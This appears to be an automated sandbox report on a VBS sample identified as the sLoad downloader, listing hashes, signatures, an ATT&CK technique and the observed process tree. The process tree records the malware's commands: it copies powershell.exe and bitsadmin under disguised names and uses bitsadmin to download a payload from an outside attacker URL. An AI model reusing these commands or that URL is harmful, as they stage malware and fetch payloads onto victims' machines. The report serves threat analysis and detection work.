Analysis

  • max time kernel
    33s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23-11-2020 13:03

General

  • Target

    Allegato_Sload_Italy_vbs (5).vbs

  • Size

    6KB

  • MD5

    ceff9364195f28623c0efba90dcb8acf

  • SHA1

    15f0674a0c0f8b57642fbac23c9a46f6a2a33dca

  • SHA256

    2d4f4f98c234ea41653f671c496f4a95efa4a74411703bf5a50fc7fac2992699

  • SHA512

    c352be1cd6857f25df2ffb89e96abe2e889b464e3052776f27558208a2209649bedd1a10a6b30dfb9ef72d6088bb9605f906cee6a4a92e5e2fc09a8d949e5882

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (5).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\znYWvYS.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\BDbiuUg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\znYWvYS.exe
        3⤵
          PID:1140
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\BDbiuUg*.exe
          3⤵
            PID:1452
        • C:\ProgramData\BDbiuUgin.exe
          "C:\ProgramData\BDbiuUgin.exe" /transfer fiDVgU /download https://fhivelifestyle.online/lidepato/07823500967/map.gif C:\Users\Admin\AppData\Roaming\map.gif
          2⤵
          • Executes dropped EXE
          PID:2200

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\BDbiuUgin.exe
        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • C:\ProgramData\BDbiuUgin.exe
        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • memory/648-0-0x0000000000000000-mapping.dmp
      • memory/1140-1-0x0000000000000000-mapping.dmp
      • memory/1452-2-0x0000000000000000-mapping.dmp
      • memory/2200-4-0x0000000000000000-mapping.dmp